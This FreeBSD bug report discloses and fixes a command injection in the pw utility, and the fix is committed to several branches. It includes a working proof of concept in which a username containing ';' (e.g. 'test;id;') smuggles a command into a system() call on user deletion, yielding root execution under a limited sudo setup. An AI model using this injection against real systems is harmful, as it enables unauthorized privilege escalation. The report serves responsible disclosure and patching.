Bug 271427 - FreeBSD pw command injection vulnerability
Summary: FreeBSD pw command injection vulnerability
Status: Closed FIXED
Alias: None
Product: Base System
Classification: Unclassified
Component: standards (show other bugs)
Version: 13.2-RELEASE
Hardware: Any Any
: --- Affects Only Me
Assignee: Baptiste Daroussin
URL:
Keywords:
Depends on:
Blocks:
 
Reported: 2023-05-15 06:09 UTC by pbuff
Modified: 2023-05-19 08:22 UTC (History)
3 users (show)

See Also:


Attachments
the describtion of the bug (4.43 KB, text/plain)
2023-05-15 06:09 UTC, pbuff
no flags Details
pw_user_c.patch (446 bytes, patch)
2023-05-15 06:38 UTC, pbuff
no flags Details | Diff
git-format patch (958 bytes, application/mbox)
2023-05-16 03:14 UTC, pbuff
no flags Details

Note You need to log in before you can comment on or make changes to this bug.
Description pbuff 2023-05-15 06:09:40 UTC
Created attachment 242180 [details]
the describtion of the bug

================================================
Summary
================================================

I found a command injection vulnerability in the /usr/sbin/pw 
and tested it successfully on FreeBSD 13.2-RELEASE.

================================================
Analysis
================================================

In usr.sbin/pw/pw_user.c file, the pw_checkname function's badchars filtering of 
malicious characters is not strict, such as no filtering of semicolons( ; ).
badchars filtering is  as below:

-----------------------------------------
char *
pw_checkname(char *name, int gecos)
{
	char showch[8];
	const char *badchars, *ch, *showtype;
	int reject;

	ch = name;
	reject = 0;
	if (gecos) {
		/* See if the name is valid as a gecos (comment) field. */
		badchars = ":";
		showtype = "gecos field";
	} else {
		/* See if the name is valid as a userid or group. */
		badchars = " ,\t:+&#%$^()!@~*?<>=|\\/\"";
		showtype = "userid/group name";
		/* Userids and groups can not have a leading '-'. */
		if (*ch == '-')
			reject = 1;
	}
----------------------------------------------------------

So I can use the command: pw add user 'test;id;' 
to bypass the malicious character check above and 
a user named 'test;id;'

-----------------------------------------------------------
buff@freebsd:~ $ sudo pw user add 'test;id;'
buff@freebsd:~ $ sudo pw user show 'test;id;'
test;id;:*:1003:1003::0:0:User &:/home/test;id;:/bin/sh
------------------------------------------------------------------------------------------------------

In the pw_user_del function, when deleting a user, the related crontab tasks will also be 
deleted by using the system() function to execute the contab command.

------------------------------------------------------------------------------------------------------
if (!PWALTDIR()) {
		/* Remove crontabs */
		snprintf(file, sizeof(file), "/var/cron/tabs/%s", pwd->pw_name);
		if (access(file, F_OK) == 0) {
			// crontab -u test;id; -r
			snprintf(file, sizeof(file), "crontab -u %s -r",
			    pwd->pw_name);
			system(file);
		}
	}
-----------------------------------------------------------------------------

If we have a username called 'test;id;', so the system(file) is equal to 
system("crontab -u test;id;-r "), this command will successfully execute 
the id command.

-----------------------------------------------------------------------------
buff@freebsd:~ $ crontab -u test;id;-r
crontab: must be privileged to use -u
uid=1001(buff) gid=1001(buff) groups=1001(buff)
-sh: -r: not found
------------------------------------------------------------------------------

================================================
Attack case
================================================

My account( buff ) is just running the `pw`  and `crontab` using for sudo, and the 
contents of sudoers are as follows:

---------------------------------------------------
buff ALL=(root) NOPASSWD:/usr/sbin/pw
buff ALL=(root) NOPASSWD:/usr/bin/crontab
---------------------------------------------------

Next, I created a malicious username using `pw`.

------------------------------------------------------------
buff@freebsd:~ $ sudo pw user add 'test;id;'
buff@freebsd:~ $ sudo pw user show 'test;id;'
test;id;:*:1003:1003::0:0:User &:/home/test;id;:/bin/sh
buff@freebsd:~ $
-------------------------------------------------------------------------

Then, I used crontab to create a task for the username 'test;id;'.

-------------------------------------------------------------------------
buff@freebsd:~ $ sudo crontab -u 'test;id;' -l
5 * * * * ls
buff@freebsd:~ $
-------------------------------------------------------------------------

Finally, using the `pw user del 'test;id;'` command will delete the 
user and its corresponding crontab task, and execute the 
malicious injected `id` command.

-------------------------------------------------------------------------
buff@freebsd:~ $ sudo pw user del 'test;id;'
crontab: user `test' unknown
uid=0(root) gid=0(wheel) groups=0(wheel),5(operator)
sh: -r: not found
buff@freebsd:~ $
-------------------------------------------------------------------------

================================================
Patch
================================================

Enhance the badchars in the pw_checkname function by adding 
semicolons and other characters that may cause malicious 
command injection.
Comment 1 pbuff 2023-05-15 06:38:13 UTC
Created attachment 242182 [details]
pw_user_c.patch
Comment 2 Baptiste Daroussin freebsd_committer freebsd_triage 2023-05-15 06:58:20 UTC
Hello, thank you for reporting, do you want to provide a git-format patch, that I can incorporate straight? if not I can "guesse" it based on your bugzilla subscribtion.
Comment 3 pbuff 2023-05-15 07:09:09 UTC
(In reply to Baptiste Daroussin from comment #2)
Hello, this is a git-format patch:

diff --git a/pw_user.c b/pw_user.c
index 3d625a0..b16faaf 100644
--- a/pw_user.c
+++ b/pw_user.c
@@ -635,7 +635,7 @@ pw_checkname(char *name, int gecos)
                showtype = "gecos field";
        } else {
                /* See if the name is valid as a userid or group. */
-               badchars = " ,\t:+&#%$^()!@~*?<>=|\\/\"";
+               badchars = " ,\t:+&#%$^()!@~*?<>=|\\/\";";
                showtype = "userid/group name";
                /* Userids and groups can not have a leading '-'. */
                if (*ch == '-')
Comment 4 Baptiste Daroussin freebsd_committer freebsd_triage 2023-05-15 19:02:27 UTC
by git format patch I mean a patch I can incorporate via git am command

which means locally you do commit yourself the change, with your commit log.
Then use git format-patch will generate a file with everything the commit log, the change and you name (to credit you on the fix). you add this file here.
Comment 5 pbuff 2023-05-16 03:14:18 UTC
Created attachment 242204 [details]
git-format patch
Comment 6 pbuff 2023-05-16 03:16:18 UTC
(In reply to Baptiste Daroussin from comment #4)
Hello, I have resubmitted the patch file in format-patch format. The filename of the attachment is "git-format patch". Here is the link to the format-patch patch: https://bugs.freebsd.org/bugzilla/attachment.cgi?id=242204
Comment 7 Mina Galić freebsd_triage 2023-05-16 06:48:13 UTC
(In reply to pbuff from comment #6)
this patch isn't marked as patch in Bugzilla, so it can't be viewed there
Comment 8 commit-hook freebsd_committer freebsd_triage 2023-05-16 06:48:55 UTC
A commit in branch main references this bug:

URL: https://cgit.FreeBSD.org/src/commit/?id=e0155c6989049da43c5499f7129002aa17d1ca79

commit e0155c6989049da43c5499f7129002aa17d1ca79
Author:     pbuff <pbuff@qq.com>
AuthorDate: 2023-05-16 03:05:30 +0000
Commit:     Baptiste Daroussin <bapt@FreeBSD.org>
CommitDate: 2023-05-16 06:48:08 +0000

    pw: The pw_checkname function has added ';' checking.

    The pw_checkname function forgot to include a ';'
    when checking usernames, causing shell commands
    to be executed when a username with a ';' is deleted.

    PR:             271427
    MFC After:      3 days

 usr.sbin/pw/pw_user.c | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)
Comment 9 commit-hook freebsd_committer freebsd_triage 2023-05-19 08:11:15 UTC
A commit in branch stable/13 references this bug:

URL: https://cgit.FreeBSD.org/src/commit/?id=732f13ad32dc7ddc951f9dcdb969b933bcacf631

commit 732f13ad32dc7ddc951f9dcdb969b933bcacf631
Author:     pbuff <pbuff@qq.com>
AuthorDate: 2023-05-16 03:05:30 +0000
Commit:     Baptiste Daroussin <bapt@FreeBSD.org>
CommitDate: 2023-05-19 08:10:09 +0000

    pw: The pw_checkname function has added ';' checking.

    The pw_checkname function forgot to include a ';'
    when checking usernames, causing shell commands
    to be executed when a username with a ';' is deleted.

    PR:             271427
    MFC After:      3 days

    (cherry picked from commit e0155c6989049da43c5499f7129002aa17d1ca79)

 usr.sbin/pw/pw_user.c | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)
Comment 10 commit-hook freebsd_committer freebsd_triage 2023-05-19 08:20:23 UTC
A commit in branch stable/12 references this bug:

URL: https://cgit.FreeBSD.org/src/commit/?id=554f8644b038bc430afaa9a941eb57edb1b4f226

commit 554f8644b038bc430afaa9a941eb57edb1b4f226
Author:     pbuff <pbuff@qq.com>
AuthorDate: 2023-05-16 03:05:30 +0000
Commit:     Baptiste Daroussin <bapt@FreeBSD.org>
CommitDate: 2023-05-19 08:19:55 +0000

    pw: The pw_checkname function has added ';' checking.

    The pw_checkname function forgot to include a ';'
    when checking usernames, causing shell commands
    to be executed when a username with a ';' is deleted.

    PR:             271427
    MFC After:      3 days

    (cherry picked from commit e0155c6989049da43c5499f7129002aa17d1ca79)

 usr.sbin/pw/pw_user.c | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)